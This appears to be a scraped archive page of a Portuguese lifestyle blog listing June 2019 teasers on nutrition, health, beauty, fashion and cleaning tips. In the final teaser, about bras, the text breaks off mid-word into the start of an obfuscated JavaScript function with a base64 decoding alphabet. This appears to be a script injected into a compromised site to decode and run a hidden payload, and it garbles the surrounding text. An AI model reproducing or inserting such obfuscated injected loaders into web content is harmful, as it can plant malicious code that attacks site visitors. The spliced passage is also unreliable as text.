Jun 21, 2019 | À descoberta, Dicas úteis
Os 7 melhores frutos para consumir no verão Consumir fruta da época é muito importante e o nosso organismo agradece. No artigo de hoje falo-lhe dos 7 melhores frutos para consumir no verão. É absolutamente importante que nesta estação quente nos preocupemos em...
Jun 19, 2019 | Dicas úteis, Saúde e bem estar
Alimentos que contribuem para a tensão arterial ideal Medir a tensão arterial é um acto que todos nós devíamos fazer habitualmente para verificar se existem problemas com a nossa saúde. É realmente importante controlar os valores da tensão arterial, até porque...
Jun 15, 2019 | Dicas úteis
Conheça os benefícios do amendoim Já tinha saudades das minhas dicas saudáveis? Pois bem, hoje vou falar-lhe de um alimento muito popular: os amendoins. Os amendoins são uma rica fonte de energia. Além de fornecerem calorias, possuem uma pequena quantidade de...
Jun 14, 2019 | Dicas úteis, Estilo e beleza, Faça você mesmo
Pedicura em casa? Passo a passo Eu sei que nada substitui a ida ao nosso espaço de beleza preferido, arranjar os pés, com tudo a que temos direito, incluindo uma bela massagem relaxante, se a pedicura for boa e simpática. Mas se por algum motivo não o pode fazer,...
Jun 13, 2019 | Dicas úteis
8 Dicas para curar uma ressaca Os Santos Populares já chegaram, a cidade e os muitos bairros enchem-se de gente e de sorrisos. Animação, boa comida e muita música não faltam pela cidade durante este mês. Nestas dias é costume haver um espírito de folia e alguns...
Jun 12, 2019 | Dicas úteis, Faça você mesmo
11 truques para economizar tempo na limpeza da casa Economizar tempo na hora da limpeza é o sonho de qualquer pessoa e todos nós sabemos que limpar a casa é uma tarefa demorada. No entanto, não se preocupe, porque dou-lhe hoje os 11 truques para economizar tempo....
Jun 6, 2019 | Dicas úteis, Saúde e bem estar, Teresa
6 Truques para aliviar a dor de garganta As dores de garganta não têm estação do ano, nem hora, para aparecerem. A avó, a tia ou mesmo a mãe, tinham sempre soluções naturais que aliviavam a dor, mas muitas de nós já nos esquecemos delas. Claro que nenhuma destas...
Jun 5, 2019 | Dicas úteis, Equilíbrio, Estilo e beleza, Saúde e bem estar
Dicas para ter umas mãos mais jovens e saudáveis As nossas mãos têm uma pele muito fina e delicada e estão quase sempre expostas ao sol, ao frio e ao vento. E é precisamente por serem tão delicadas, que temos de ter determinados cuidados para as mantermos sempre...
Jun 4, 2019 | Dicas úteis, Estilo e beleza, Teresa
As cores da moda para o Verão Quer saber quais são as cores da moda, para este Verão? E como combiná-las e usá-las? Então continue a ler porque está na altura de guardar casacos, malhas e sapatos fechados. As novidades já estão há algum tempo nas lojas. Está na hora...
Mai 21, 2019 | Dicas úteis, Equilíbrio, Estilo e beleza
Qual o sutiã indicado para cada mulher? Não se trata apenas de estética, é também uma questão de saúde e de conforto. Há mulheres que passam grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var...
